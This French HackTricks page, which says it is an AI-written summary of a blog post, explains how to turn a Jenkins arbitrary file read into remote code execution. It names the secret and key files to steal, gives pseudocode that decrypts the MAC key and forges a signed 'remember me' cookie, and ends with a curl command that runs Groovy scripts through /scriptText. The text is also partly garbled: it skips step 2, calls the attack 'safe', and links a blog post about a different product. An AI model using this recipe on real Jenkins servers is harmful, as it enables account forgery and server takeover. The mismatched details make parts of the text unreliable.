Jenkins Arbitrary File Read to RCE via "Remember Me"

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Dans cet article de blog, il est possible de trouver un excellent moyen de transformer une vulnérabilité d'inclusion de fichier local dans Jenkins en RCE : https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/

Ceci est un rĂ©sumĂ© créé par IA de la partie de l'article oĂč la crĂ©ation d'un cookie arbitraire est exploitĂ©e pour obtenir RCE en abusant d'une lecture de fichier local jusqu'Ă  ce que j'ai le temps de crĂ©er un rĂ©sumĂ© moi-mĂȘme :

Prérequis à l'attaque

  • Exigence de fonctionnalitĂ© : "Se souvenir de moi" doit ĂȘtre activĂ© (paramĂštre par dĂ©faut).
  • Niveaux d'accĂšs : L'attaquant a besoin de permissions Globales/Lecture.
  • AccĂšs secret : CapacitĂ© Ă  lire Ă  la fois le contenu binaire et textuel Ă  partir de fichiers clĂ©s.

Processus d'exploitation détaillé

Étape 1 : Collecte de donnĂ©es

Récupération des informations utilisateur

  • AccĂ©der Ă  la configuration utilisateur et aux secrets depuis $JENKINS_HOME/users/*.xml pour chaque utilisateur afin de rassembler :
  • Nom d'utilisateur
  • Graine utilisateur
  • Horodatage
  • Hash du mot de passe

Extraction de la clé secrÚte

  • Extraire les clĂ©s cryptographiques utilisĂ©es pour signer le cookie :
  • ClĂ© secrĂšte : $JENKINS_HOME/secret.key
  • ClĂ© maĂźtre : $JENKINS_HOME/secrets/master.key
  • Fichier de clĂ© MAC : $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

Préparation du token

  • Calculer le temps d'expiration du token :
javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Ajoute une heure au temps actuel
  • ConcatĂ©ner les donnĂ©es pour le token :
javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey

Déchiffrement de la clé MAC

  • DĂ©chiffrer le fichier de clĂ© MAC :
javascript
key = toAes128Key(masterKey)  // Convertir la clé maßtre en format de clé AES128
decrypted = AES.decrypt(macFile, key)  // Déchiffrer le fichier .mac
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")

Calcul de la signature

  • Calculer HMAC SHA256 :
javascript
mac = HmacSHA256(token, macKey) // Calculer HMAC en utilisant le token et la clé MAC
tokenSignature = bytesToHexString(mac) // Convertir la MAC en chaßne hexadécimale

Encodage du cookie

  • GĂ©nĂ©rer le cookie final :
javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Encoder en base64 les données du cookie

Étape 3 : ExĂ©cution de code

Authentification de session

  • RĂ©cupĂ©rer les tokens CSRF et de session :
  • Faire une requĂȘte Ă  /crumbIssuer/api/json pour obtenir Jenkins-Crumb.
  • Capturer JSESSIONID de la rĂ©ponse, qui sera utilisĂ© en conjonction avec le cookie "se souvenir de moi".

RequĂȘte d'exĂ©cution de commande

  • Envoyer une requĂȘte POST avec un script Groovy :
bash
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
  • Le script Groovy peut ĂȘtre utilisĂ© pour exĂ©cuter des commandes au niveau systĂšme ou d'autres opĂ©rations dans l'environnement Jenkins.

L'exemple de commande curl fourni dĂ©montre comment faire une requĂȘte Ă  Jenkins avec les en-tĂȘtes et cookies nĂ©cessaires pour exĂ©cuter du code arbitraire en toute sĂ©curitĂ©.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks